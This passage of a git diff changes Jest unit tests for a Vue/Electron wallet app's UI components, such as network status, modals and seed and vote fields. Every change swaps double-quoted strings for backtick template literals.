it(`should open a notification`, () => { + wrapper.trigger(`click`) expect(store.commit).toHaveBeenCalled() - expect(store.commit.mock.calls[0][0]).toBe("notify") - expect(store.commit.mock.calls[0][1].body).toContain("this is a test") + expect(store.commit.mock.calls[0][0]).toBe(`notify`) + expect(store.commit.mock.calls[0][1].body).toContain(`this is a test`) }) - it("should truncate long messages", () => { - wrapper.setProps({ value: "123456789012345678901234567890" }) - wrapper.trigger("click") + it(`should truncate long messages`, () => { + wrapper.setProps({ value: `123456789012345678901234567890` }) + wrapper.trigger(`click`) expect(store.commit.mock.calls[0][1].body).not.toContain( - "123456789012345678901234567890" + `123456789012345678901234567890` ) - expect(store.commit.mock.calls[0][1].body).toContain("1234567890") + expect(store.commit.mock.calls[0][1].body).toContain(`1234567890`) }) - it("should use a provided title in message", () => { - wrapper.setProps({ title: "Title A" }) - wrapper.trigger("click") - expect(store.commit.mock.calls[0][1].title).toBe("Title A") + it(`should use a provided title in message`, () => { + wrapper.setProps({ title: `Title A` }) + wrapper.trigger(`click`) + expect(store.commit.mock.calls[0][1].title).toBe(`Title A`) }) - it("should use a provided body in message", () => { - wrapper.setProps({ body: "Body A" }) - wrapper.trigger("click") - expect(store.commit.mock.calls[0][1].body).toBe("Body A") + it(`should use a provided body in message`, () => { + wrapper.setProps({ body: `Body A` }) + wrapper.trigger(`click`) + expect(store.commit.mock.calls[0][1].body).toBe(`Body A`) }) }) diff --git a/test/unit/specs/components/common/TmBtnReceive.spec.js b/test/unit/specs/components/common/TmBtnReceive.spec.js index ef8c6396e9..6c9eeeb6f4 100644 --- a/test/unit/specs/components/common/TmBtnReceive.spec.js +++ b/test/unit/specs/components/common/TmBtnReceive.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import TmBtnReceive from "renderer/components/common/TmBtnReceive" -describe("TmBtnReceive", () => { +describe(`TmBtnReceive`, () => { let wrapper, store let { mount } = setup() @@ -11,12 +11,12 @@ describe("TmBtnReceive", () => { store = instance.store }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.html()).toMatchSnapshot() }) - it("should commit the receive modal", () => { + it(`should commit the receive modal`, () => { wrapper.vm.openModal() - expect(store.commit).toHaveBeenCalledWith("setModalReceive", true) + expect(store.commit).toHaveBeenCalledWith(`setModalReceive`, true) }) }) diff --git a/test/unit/specs/components/common/TmConnectedNetwork.spec.js b/test/unit/specs/components/common/TmConnectedNetwork.spec.js index 0173f6b0e4..6c277dc356 100644 --- a/test/unit/specs/components/common/TmConnectedNetwork.spec.js +++ b/test/unit/specs/components/common/TmConnectedNetwork.spec.js @@ -2,7 +2,7 @@ import TmConnectedNetwork from "common/TmConnectedNetwork" import htmlBeautify from "html-beautify" import setup from "../../../helpers/vuex-setup" -describe("TmConnectedNetwork", () => { +describe(`TmConnectedNetwork`, () => { let wrapper, router, store, instance let { mount } = setup() @@ -11,120 +11,120 @@ describe("TmConnectedNetwork", () => { store = instance.store router = instance.router wrapper = instance.wrapper - await store.dispatch("setMockedConnector", true) + await store.dispatch(`setMockedConnector`, true) wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has a network icon", () => { + it(`has a network icon`, () => { expect( wrapper - .find("#tm-connected-network__icon i.material-icons") + .find(`#tm-connected-network__icon i.material-icons`) .text() .trim() - ).toBe("wifi") + ).toBe(`wifi`) }) - it("has a network string", () => { + it(`has a network string`, () => { expect( wrapper - .find("#tm-connected-network__string") + .find(`#tm-connected-network__string`) .text() .trim() - ).toBe("Connected to test-net via 127.0.0.1 (change network)") + ).toBe(`Connected to test-net via 127.0.0.1 (change network)`) }) - it("has a block string", () => { + it(`has a block string`, () => { expect( wrapper - .find("#tm-connected-network__block") + .find(`#tm-connected-network__block`) .text() .trim() - ).toContain("Current Block: #42") + ).toContain(`Current Block: #42`) }) - it("has a certain style for mockedConnector", () => { - expect(wrapper.find("#tm-connected-network").classes()).toContain( - "tm-connected-network--mocked" + it(`has a certain style for mockedConnector`, () => { + expect(wrapper.find(`#tm-connected-network`).classes()).toContain( + `tm-connected-network--mocked` ) }) - it("has a network tooltip for mockedConnector", () => { + it(`has a network tooltip for mockedConnector`, () => { expect(wrapper.vm.networkTooltip).toBe( - "Note: `offline demo` does not have real peers." + `Note: \`offline demo\` does not have real peers.` ) }) - it("has a node address for mockedConnector", () => { - expect(wrapper.vm.nodeAddress).toBe("127.0.0.1") + it(`has a node address for mockedConnector`, () => { + expect(wrapper.vm.nodeAddress).toBe(`127.0.0.1`) }) - it("has a chain id for mockedConnector", () => { - expect(wrapper.vm.chainId).toBe("test-net") + it(`has a chain id for mockedConnector`, () => { + expect(wrapper.vm.chainId).toBe(`test-net`) }) - it("has a block height for mockedConnector", () => { - expect(wrapper.vm.blockHeight).toBe("#42") + it(`has a block height for mockedConnector`, () => { + expect(wrapper.vm.blockHeight).toBe(`#42`) }) - it("has link to the external block explorer", () => { + it(`has link to the external block explorer`, () => { expect(wrapper.vm.explorerLink).toBe( - "https://explorecosmos.network/blocks/42" + `https://explorecosmos.network/blocks/42` ) }) - it("has a connecting state", async () => { - await store.commit("setConnected", false) + it(`has a connecting state`, async () => { + await store.commit(`setConnected`, false) wrapper.update() expect( wrapper .find( - "#tm-disconnected-network .tm-connected-network__icon i.material-icons" + `#tm-disconnected-network .tm-connected-network__icon i.material-icons` ) .text() - ).toBe("rotate_right") + ).toBe(`rotate_right`) expect( wrapper - .find("#tm-disconnected-network .tm-connected-network__string") + .find(`#tm-disconnected-network .tm-connected-network__string`) .text() - ).toBe("Connecting to network…") + ).toBe(`Connecting to network…`) }) - it("shows a link to the preferences page if not on the preferences page", () => { - expect(wrapper.find("#tm-connected-network_preferences-link")).toBeDefined() - router.push("/preferences") + it(`shows a link to the preferences page if not on the preferences page`, () => { + expect(wrapper.find(`#tm-connected-network_preferences-link`)).toBeDefined() + router.push(`/preferences`) wrapper.update() - expect(wrapper.vm.$route.name).toBe("preferences") + expect(wrapper.vm.$route.name).toBe(`preferences`) expect( - wrapper.vm.$el.querySelector("#tm-connected-network_preferences-link") + wrapper.vm.$el.querySelector(`#tm-connected-network_preferences-link`) ).toBeFalsy() }) - it("shows the connected node", async () => { + it(`shows the connected node`, async () => { instance = mount(TmConnectedNetwork) store = instance.store router = instance.router wrapper = instance.wrapper store.state.node.mocked = false - store.state.node.nodeIP = "123.123.123.123" + store.state.node.nodeIP = `123.123.123.123` store.state.node.connected = true wrapper.update() - expect(wrapper.vm.nodeAddress).toBe("123.123.123.123") + expect(wrapper.vm.nodeAddress).toBe(`123.123.123.123`) expect(wrapper.vm.$el).toMatchSnapshot() - expect(wrapper.vm.$el.outerHTML).toContain("123.123.123.123") + expect(wrapper.vm.$el.outerHTML).toContain(`123.123.123.123`) }) - it("should close the menu if clicking on switch to live network intent", async () => { - store.commit("setActiveMenu", "app") + it(`should close the menu if clicking on switch to live network intent`, async () => { + store.commit(`setActiveMenu`, `app`) wrapper.update() - expect(store.state.config.activeMenu).toBe("app") - let spy = jest.spyOn(wrapper.vm, "closeMenu") + expect(store.state.config.activeMenu).toBe(`app`) + let spy = jest.spyOn(wrapper.vm, `closeMenu`) wrapper.vm.$el - .querySelector("#tm-connected-network_preferences-link") + .querySelector(`#tm-connected-network_preferences-link`) .click() expect(spy).toHaveBeenCalled() - expect(store.state.config.activeMenu).not.toBe("app") + expect(store.state.config.activeMenu).not.toBe(`app`) }) }) diff --git a/test/unit/specs/components/common/TmDataEmptySearch.spec.js b/test/unit/specs/components/common/TmDataEmptySearch.spec.js index 442b39b119..4ddeaf6170 100644 --- a/test/unit/specs/components/common/TmDataEmptySearch.spec.js +++ b/test/unit/specs/components/common/TmDataEmptySearch.spec.js @@ -2,40 +2,40 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmDataEmptySearch from "common/TmDataEmptySearch" -describe("TmDataEmptySearch", () => { +describe(`TmDataEmptySearch`, () => { let wrapper beforeEach(() => { wrapper = mount(TmDataEmptySearch) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has an icon", () => { + it(`has an icon`, () => { expect( wrapper - .find(".tm-data-msg__icon i.material-icons") + .find(`.tm-data-msg__icon i.material-icons`) .text() .trim() - ).toBe("search") + ).toBe(`search`) }) - it("has a title", () => { + it(`has a title`, () => { expect( wrapper - .find(".tm-data-msg__title div") + .find(`.tm-data-msg__title div`) .text() .trim() - ).toBe("No Results") + ).toBe(`No Results`) }) - it("has a subtitle", () => { + it(`has a subtitle`, () => { expect( wrapper - .find(".tm-data-msg__subtitle div") + .find(`.tm-data-msg__subtitle div`) .text() .trim() - ).toBe("Your search did not match any available data.") + ).toBe(`Your search did not match any available data.`) }) }) diff --git a/test/unit/specs/components/common/TmDataEmptyTx.spec.js b/test/unit/specs/components/common/TmDataEmptyTx.spec.js index db194b613b..6ffe5ddced 100644 --- a/test/unit/specs/components/common/TmDataEmptyTx.spec.js +++ b/test/unit/specs/components/common/TmDataEmptyTx.spec.js @@ -2,40 +2,40 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmDataEmptyTx from "common/TmDataEmptyTx" -describe("TmDataEmptyTx", () => { +describe(`TmDataEmptyTx`, () => { let wrapper beforeEach(() => { wrapper = mount(TmDataEmptyTx) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has an icon", () => { + it(`has an icon`, () => { expect( wrapper - .find(".tm-data-msg__icon i.material-icons") + .find(`.tm-data-msg__icon i.material-icons`) .text() .trim() - ).toBe("info_outline") + ).toBe(`info_outline`) }) - it("has a title", () => { + it(`has a title`, () => { expect( wrapper - .find(".tm-data-msg__title div") + .find(`.tm-data-msg__title div`) .text() .trim() - ).toBe("No Transaction History") + ).toBe(`No Transaction History`) }) - it("has a subtitle", () => { + it(`has a subtitle`, () => { expect( wrapper - .find(".tm-data-msg__subtitle div") + .find(`.tm-data-msg__subtitle div`) .text() .trim() - ).toContain("Looks like you haven't sent or received any transactions yet.") + ).toContain(`Looks like you haven't sent or received any transactions yet.`) }) }) diff --git a/test/unit/specs/components/common/TmDataError.spec.js b/test/unit/specs/components/common/TmDataError.spec.js index 5c364e5fe2..854c1d7709 100644 --- a/test/unit/specs/components/common/TmDataError.spec.js +++ b/test/unit/specs/components/common/TmDataError.spec.js @@ -2,42 +2,42 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmDataError from "common/TmDataError" -describe("TmDataError", () => { +describe(`TmDataError`, () => { let wrapper beforeEach(() => { wrapper = mount(TmDataError) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has an icon", () => { + it(`has an icon`, () => { expect( wrapper - .find(".tm-data-msg__icon i.material-icons") + .find(`.tm-data-msg__icon i.material-icons`) .text() .trim() - ).toBe("sentiment_very_dissatisfied") + ).toBe(`sentiment_very_dissatisfied`) }) - it("has a title", () => { + it(`has a title`, () => { expect( wrapper - .find(".tm-data-msg__title div") + .find(`.tm-data-msg__title div`) .text() .trim() - ).toBe("Aw shucks!") + ).toBe(`Aw shucks!`) }) - it("has a subtitle", () => { + it(`has a subtitle`, () => { expect( wrapper - .find(".tm-data-msg__subtitle div") + .find(`.tm-data-msg__subtitle div`) .text() .trim() ).toContain( - "Even though you're connected a full node, we can't display this data for you right now." + `Even though you're connected a full node, we can't display this data for you right now.` ) }) }) diff --git a/test/unit/specs/components/common/TmFieldAddon.spec.js b/test/unit/specs/components/common/TmFieldAddon.spec.js index 8cf34f7637..aecc49d3cf 100644 --- a/test/unit/specs/components/common/TmFieldAddon.spec.js +++ b/test/unit/specs/components/common/TmFieldAddon.spec.js @@ -2,20 +2,20 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmFieldAddon from "common/TmFieldAddon" -describe("TmFieldAddon", () => { +describe(`TmFieldAddon`, () => { let wrapper beforeEach(() => { wrapper = mount(TmFieldAddon, { - slots: { default: '
ATOM
' } + slots: { default: `
ATOM
` } }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has a slot with content", () => { - expect(wrapper.findAll(".fake-addon").length).toBe(1) + it(`has a slot with content`, () => { + expect(wrapper.findAll(`.fake-addon`).length).toBe(1) }) }) diff --git a/test/unit/specs/components/common/TmFieldSeed.spec.js b/test/unit/specs/components/common/TmFieldSeed.spec.js index 691282af62..3e5aa48d67 100644 --- a/test/unit/specs/components/common/TmFieldSeed.spec.js +++ b/test/unit/specs/components/common/TmFieldSeed.spec.js @@ -2,28 +2,28 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmFieldSeed from "common/TmFieldSeed" -describe("TmFieldSeed", () => { +describe(`TmFieldSeed`, () => { let wrapper let propsData = { - value: "one two three four five six seven eight nine ten eleven twelve" + value: `one two three four five six seven eight nine ten eleven twelve` } beforeEach(() => { wrapper = mount(TmFieldSeed, { propsData }) }) - it("has a value from props", () => { + it(`has a value from props`, () => { expect(wrapper.vm.value).toContain( - "one two three four five six seven eight nine ten eleven twelve" + `one two three four five six seven eight nine ten eleven twelve` ) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has the correct class", () => { - expect(wrapper.find(".tm-field").classes()).toContain("tm-field-seed") + it(`has the correct class`, () => { + expect(wrapper.find(`.tm-field`).classes()).toContain(`tm-field-seed`) }) }) diff --git a/test/unit/specs/components/common/TmFieldVote.spec.js b/test/unit/specs/components/common/TmFieldVote.spec.js index ad1295f2ff..5e32b8c32b 100644 --- a/test/unit/specs/components/common/TmFieldVote.spec.js +++ b/test/unit/specs/components/common/TmFieldVote.spec.js @@ -2,13 +2,13 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmFieldVote from "common/TmFieldVote" -describe("TmFieldVote", () => { +describe(`TmFieldVote`, () => { let wrapper let propsData = { - dt: "No", + dt: `No`, dd: 0.337, - color: "hsl(0,50%,35%)", + color: `hsl(0,50%,35%)`, active: true, results: true } @@ -17,38 +17,38 @@ describe("TmFieldVote", () => { wrapper = mount(TmFieldVote, { propsData }) }) - it("has a color from props", () => { - expect(wrapper.vm.color).toBe("hsl(0,50%,35%)") + it(`has a color from props`, () => { + expect(wrapper.vm.color).toBe(`hsl(0,50%,35%)`) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("shows the title of the vote option", () => { + it(`shows the title of the vote option`, () => { expect( wrapper - .find(".tm-field-vote-dt") + .find(`.tm-field-vote-dt`) .text() .trim() - ).toBe("No") + ).toBe(`No`) }) - it("has been selected by the user", () => { + it(`has been selected by the user`, () => { expect( wrapper - .find(".tm-field-vote-input i.material-icons") + .find(`.tm-field-vote-input i.material-icons`) .text() .trim() - ).toBe("radio_button_checked") + ).toBe(`radio_button_checked`) }) - it("shows the percentage who voted", () => { + it(`shows the percentage who voted`, () => { expect( wrapper - .find(".tm-field-vote-dd") + .find(`.tm-field-vote-dd`) .text() .trim() - ).toBe("34%") + ).toBe(`34%`) }) }) diff --git a/test/unit/specs/components/common/TmHardwareState.spec.js b/test/unit/specs/components/common/TmHardwareState.spec.js index 4f11fbc96d..8bc0b7082f 100644 --- a/test/unit/specs/components/common/TmHardwareState.spec.js +++ b/test/unit/specs/components/common/TmHardwareState.spec.js @@ -2,37 +2,37 @@ import { mount } from "@vue/test-utils" import htmlBeautify from "html-beautify" import TmHardwareState from "common/TmHardwareState" -describe("TmHardwareState", () => { +describe(`TmHardwareState`, () => { let wrapper let propsData = { - icon: "rotate_right", + icon: `rotate_right`, spin: true, - value: "Detecting your Ledger Wallet" + value: `Detecting your Ledger Wallet` } beforeEach(() => { wrapper = mount(TmHardwareState, { propsData }) }) - it("has an icon from props", () => { - expect(wrapper.vm.icon).toBe("rotate_right") + it(`has an icon from props`, () => { + expect(wrapper.vm.icon).toBe(`rotate_right`) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has a spinning icon", () => { - expect(wrapper.contains("i.material-icons.fa-spin")).toBe(true) + it(`has a spinning icon`, () => { + expect(wrapper.contains(`i.material-icons.fa-spin`)).toBe(true) }) - it("has a label", () => { + it(`has a label`, () => { expect( wrapper - .find(".tm-hardware-state__label") + .find(`.tm-hardware-state__label`) .text() .trim() - ).toContain("Detecting your Ledger Wallet") + ).toContain(`Detecting your Ledger Wallet`) }) }) diff --git a/test/unit/specs/components/common/TmLiCopy.spec.js b/test/unit/specs/components/common/TmLiCopy.spec.js index bf61e9f326..b9bfc2a881 100644 --- a/test/unit/specs/components/common/TmLiCopy.spec.js +++ b/test/unit/specs/components/common/TmLiCopy.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import TmLiCopy from "common/TmLiCopy" -describe("TmLiCopy", () => { +describe(`TmLiCopy`, () => { let wrapper let { mount } = setup() @@ -10,17 +10,17 @@ describe("TmLiCopy", () => { wrapper = instance.wrapper }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show the provided value", () => { - wrapper.setProps({ value: "HALLO" }) - expect(wrapper.html()).toContain("HALLO") + it(`should show the provided value`, () => { + wrapper.setProps({ value: `HALLO` }) + expect(wrapper.html()).toContain(`HALLO`) }) - it("should show the receive button", () => { - wrapper.setProps({ value: "HALLO", receive: true }) + it(`should show the receive button`, () => { + wrapper.setProps({ value: `HALLO`, receive: true }) expect(wrapper.vm.$el).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/common/TmLiSession.spec.js b/test/unit/specs/components/common/TmLiSession.spec.js index f591b75760..4e61527510 100644 --- a/test/unit/specs/components/common/TmLiSession.spec.js +++ b/test/unit/specs/components/common/TmLiSession.spec.js @@ -1,36 +1,36 @@ import { shallow } from "@vue/test-utils" import TmLiSession from "common/TmLiSession" -describe("TmLiSession", () => { +describe(`TmLiSession`, () => { let wrapper let propsData = { - icon: "mood", - title: "useful title", - subtitle: "useful subtitle" + icon: `mood`, + title: `useful title`, + subtitle: `useful subtitle` } beforeEach(() => { wrapper = shallow(TmLiSession, { propsData }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should have an icon", () => { + it(`should have an icon`, () => { expect( - wrapper.find(".tm-li-session-icon i.material-icons").html() - ).toContain("mood") + wrapper.find(`.tm-li-session-icon i.material-icons`).html() + ).toContain(`mood`) }) - it("should have a title", () => { - expect(wrapper.find(".tm-li-session-title").html()).toContain( - "useful title" + it(`should have a title`, () => { + expect(wrapper.find(`.tm-li-session-title`).html()).toContain( + `useful title` ) }) - it("should have a subtitle", () => { - expect(wrapper.find(".tm-li-session-subtitle").html()).toContain( - "useful subtitle" + it(`should have a subtitle`, () => { + expect(wrapper.find(`.tm-li-session-subtitle`).html()).toContain( + `useful subtitle` ) }) }) diff --git a/test/unit/specs/components/common/TmModal.spec.js b/test/unit/specs/components/common/TmModal.spec.js index cf17095fd5..7f5f38f17b 100644 --- a/test/unit/specs/components/common/TmModal.spec.js +++ b/test/unit/specs/components/common/TmModal.spec.js @@ -1,7 +1,7 @@ import { mount } from "@vue/test-utils" import TmModal from "common/TmModal" -describe("TmModal", () => { +describe(`TmModal`, () => { let wrapper, close beforeEach(() => { @@ -15,39 +15,39 @@ describe("TmModal", () => { }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should call close on click", () => { - wrapper.trigger("click") + it(`should call close on click`, () => { + wrapper.trigger(`click`) expect(close).toHaveBeenCalled() }) - it("should call close button click", () => { - wrapper.find(".tm-modal-close").trigger("click") + it(`should call close button click`, () => { + wrapper.find(`.tm-modal-close`).trigger(`click`) expect(close).toHaveBeenCalled() }) - it("should set size", () => { - wrapper.setProps({ size: "fs" }) - expect(wrapper.classes()).toContain("tm-modal-fullscreen") + it(`should set size`, () => { + wrapper.setProps({ size: `fs` }) + expect(wrapper.classes()).toContain(`tm-modal-fullscreen`) }) - it("should show icon", () => { - wrapper.setProps({ icon: "hallo_icon" }) - expect(wrapper.find(".material-icons")).toBeDefined() - expect(wrapper.html()).toContain("hallo_icon") + it(`should show icon`, () => { + wrapper.setProps({ icon: `hallo_icon` }) + expect(wrapper.find(`.material-icons`)).toBeDefined() + expect(wrapper.html()).toContain(`hallo_icon`) }) - it("should use slots", () => { + it(`should use slots`, () => { wrapper = mount(TmModal, { slots: { - title: "", - footer: "" + title: ``, + footer: `` } }) - expect(wrapper.find("custom-title")).toBeDefined() - expect(wrapper.find("custom-footer")).toBeDefined() + expect(wrapper.find(`custom-title`)).toBeDefined() + expect(wrapper.find(`custom-footer`)).toBeDefined() }) }) diff --git a/test/unit/specs/components/common/TmModalError.spec.js b/test/unit/specs/components/common/TmModalError.spec.js index 54a2e13f91..b2be9e9411 100644 --- a/test/unit/specs/components/common/TmModalError.spec.js +++ b/test/unit/specs/components/common/TmModalError.spec.js @@ -6,20 +6,20 @@ import TmModalError from "common/TmModalError" const localVue = createLocalVue() localVue.use(Vuex) -jest.mock("electron", () => ({ +jest.mock(`electron`, () => ({ remote: { getGlobal: () => { - return "$HOME/.cosmos-voyager-dev" + return `$HOME/.cosmos-voyager-dev` } } })) -describe("TmModalError", () => { +describe(`TmModalError`, () => { let wrapper let store = new Vuex.Store({ getters: { config: () => ({ devMode: true }), - lastHeader: () => ({ chain_id: "gaia-test", height: "31337" }) + lastHeader: () => ({ chain_id: `gaia-test`, height: `31337` }) } }) @@ -30,90 +30,90 @@ describe("TmModalError", () => { }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("has an icon", () => { + it(`has an icon`, () => { expect( wrapper - .find(".tm-modal-error__icon i.material-icons") + .find(`.tm-modal-error__icon i.material-icons`) .text() .trim() - ).toBe("error_outline") + ).toBe(`error_outline`) }) - it("shows an icon if specified", () => { + it(`shows an icon if specified`, () => { wrapper = mount(TmModalError, { localVue, store, - propsData: { icon: "icon-x" } + propsData: { icon: `icon-x` } }) expect( wrapper - .find(".tm-modal-error__icon i.material-icons") + .find(`.tm-modal-error__icon i.material-icons`) .text() .trim() - ).toBe("icon-x") + ).toBe(`icon-x`) }) - it("has a title", () => { + it(`has a title`, () => { expect( wrapper - .find(".tm-modal-error__title") + .find(`.tm-modal-error__title`) .text() .trim() - ).toBe("Voyager ran into an error") + ).toBe(`Voyager ran into an error`) }) - it("shows a title if specified", () => { + it(`shows a title if specified`, () => { wrapper = mount(TmModalError, { localVue, store, - propsData: { title: "title-x" } + propsData: { title: `title-x` } }) expect( wrapper - .find(".tm-modal-error__title") + .find(`.tm-modal-error__title`) .text() .trim() - ).toBe("title-x") + ).toBe(`title-x`) }) - it("has a body", () => { + it(`has a body`, () => { expect( wrapper - .find(".tm-modal-error__body") + .find(`.tm-modal-error__body`) .text() .trim() ).toContain( - "Voyager has encountered a critical error that blocks the app from running. Please create an issue and include a copy of the app logs." + `Voyager has encountered a critical error that blocks the app from running. Please create an issue and include a copy of the app logs.` ) }) - it("shows a body if specified", () => { + it(`shows a body if specified`, () => { wrapper = mount(TmModalError, { localVue, store, - propsData: { body: "body-x" } + propsData: { body: `body-x` } }) expect( wrapper - .find(".tm-modal-error__body") + .find(`.tm-modal-error__body`) .text() .trim() - ).toBe("body-x") + ).toBe(`body-x`) }) - it("knows the path to the app log", () => { - expect(wrapper.vm.logPath).toBe("$HOME/.cosmos-voyager-dev/main.log") + it(`knows the path to the app log`, () => { + expect(wrapper.vm.logPath).toBe(`$HOME/.cosmos-voyager-dev/main.log`) }) - it("has a button to create an issue", () => { - wrapper.find("#tm-modal-error__btn-issue").trigger("click") + it(`has a button to create an issue`, () => { + wrapper.find(`#tm-modal-error__btn-issue`).trigger(`click`) }) - it("has a button to view the app logs", () => { - wrapper.find("#tm-modal-error__btn-logs").trigger("click") + it(`has a button to view the app logs`, () => { + wrapper.find(`#tm-modal-error__btn-logs`).trigger(`click`) }) }) diff --git a/test/unit/specs/components/common/TmModalHelp.spec.js b/test/unit/specs/components/common/TmModalHelp.spec.js index 8a06f8f1d4..92c481ad3c 100644 --- a/test/unit/specs/components/common/TmModalHelp.spec.js +++ b/test/unit/specs/components/common/TmModalHelp.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import TmModalHelp from "common/TmModalHelp" -describe("TmModalHelp", () => { +describe(`TmModalHelp`, () => { let wrapper, store let { mount } = setup() @@ -9,15 +9,15 @@ describe("TmModalHelp", () => { let instance = mount(TmModalHelp) wrapper = instance.wrapper store = instance.store - store.commit("setModalHelp", true) + store.commit(`setModalHelp`, true) wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should hide", () => { + it(`should hide`, () => { wrapper.vm.close() wrapper.update() expect(wrapper.vm.$el).toMatchSnapshot() diff --git a/test/unit/specs/components/common/TmModalLCDApproval.spec.js b/test/unit/specs/components/common/TmModalLCDApproval.spec.js index 54553db88f..53f45821a0 100644 --- a/test/unit/specs/components/common/TmModalLCDApproval.spec.js +++ b/test/unit/specs/components/common/TmModalLCDApproval.spec.js @@ -3,41 +3,41 @@ import TmModalLCDApproval from "common/TmModalLCDApproval" let instance = setup() -describe("TmModalLCDApproval", () => { +describe(`TmModalLCDApproval`, () => { let wrapper, store beforeEach(() => { let test = instance.mount(TmModalLCDApproval, { - propsData: { hash: "this_is_a_hash" } + propsData: { hash: `this_is_a_hash` } }) wrapper = test.wrapper store = test.store }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("shows the hash", () => { - expect(wrapper.vm.hash).toBe("this_is_a_hash") - expect(wrapper.vm.$el.querySelector("textarea").value).toBe( - "this_is_a_hash" + it(`shows the hash`, () => { + expect(wrapper.vm.hash).toBe(`this_is_a_hash`) + expect(wrapper.vm.$el.querySelector(`textarea`).value).toBe( + `this_is_a_hash` ) }) - it("allows to approve a hash", () => { + it(`allows to approve a hash`, () => { wrapper.vm.approve() expect(store.dispatch).toHaveBeenCalledWith( - "approveNodeHash", - "this_is_a_hash" + `approveNodeHash`, + `this_is_a_hash` ) }) - it("allows to disapprove a hash", () => { + it(`allows to disapprove a hash`, () => { wrapper.vm.newNode() expect(store.dispatch).toHaveBeenCalledWith( - "disapproveNodeHash", - "this_is_a_hash" + `disapproveNodeHash`, + `this_is_a_hash` ) }) }) diff --git a/test/unit/specs/components/common/TmModalNoNodes.spec.js b/test/unit/specs/components/common/TmModalNoNodes.spec.js index b119e75ae2..b757908844 100644 --- a/test/unit/specs/components/common/TmModalNoNodes.spec.js +++ b/test/unit/specs/components/common/TmModalNoNodes.spec.js @@ -1,7 +1,7 @@ import TmModalNoNodes from "common/TmModalNoNodes" import setup from "../../../helpers/vuex-setup" -describe("TmModalNoNodes", () => { +describe(`TmModalNoNodes`, () => { let wrapper, store let { mount } = setup() @@ -11,22 +11,22 @@ describe("TmModalNoNodes", () => { wrapper = instance.wrapper }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.html()).not.toBeUndefined() expect(wrapper.vm.$el).toMatchSnapshot() }) - it("send a connection retry event", () => { - let { ipcRenderer } = require("electron") + it(`send a connection retry event`, () => { + let { ipcRenderer } = require(`electron`) wrapper.vm.retry() - let spy = jest.spyOn(ipcRenderer, "send") - expect(spy).toHaveBeenCalledWith("retry-connection") + let spy = jest.spyOn(ipcRenderer, `send`) + expect(spy).toHaveBeenCalledWith(`retry-connection`) // also closing the modal expect(store.state.config.modals.noNodes.active).toBe(false) }) - it("switches to a mock connection", () => { + it(`switches to a mock connection`, () => { wrapper.vm.useMock() expect(store.state.node.mocked).toBe(true) diff --git a/test/unit/specs/components/common/TmModalNodeHalted.spec.js b/test/unit/specs/components/common/TmModalNodeHalted.spec.js index c2d380bbcb..9e074abf74 100644 --- a/test/unit/specs/components/common/TmModalNodeHalted.spec.js +++ b/test/unit/specs/components/common/TmModalNodeHalted.spec.js @@ -1,7 +1,7 @@ import TmModalNodeHalted from "common/TmModalNodeHalted" import setup from "../../../helpers/vuex-setup" -describe("TmModalNodeHalted", () => { +describe(`TmModalNodeHalted`, () => { let wrapper, store let { mount } = setup() @@ -11,22 +11,22 @@ describe("TmModalNodeHalted", () => { wrapper = instance.wrapper }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.html()).not.toBeUndefined() expect(wrapper.vm.$el).toMatchSnapshot() }) - it("send a connection retry event", () => { - let { ipcRenderer } = require("electron") + it(`send a connection retry event`, () => { + let { ipcRenderer } = require(`electron`) wrapper.vm.switchNode() - let spy = jest.spyOn(ipcRenderer, "send") - expect(spy).toHaveBeenCalledWith("reconnect") + let spy = jest.spyOn(ipcRenderer, `send`) + expect(spy).toHaveBeenCalledWith(`reconnect`) // also closing the modal expect(store.state.config.modals.nodeHalted.active).toBe(false) }) - it("switches to a mock connection", () => { + it(`switches to a mock connection`, () => { wrapper.vm.useMock() expect(store.state.node.mocked).toBe(true) diff --git a/test/unit/specs/components/common/TmModalReceive.spec.js b/test/unit/specs/components/common/TmModalReceive.spec.js index ff2b8212c2..b9cf14bac2 100644 --- a/test/unit/specs/components/common/TmModalReceive.spec.js +++ 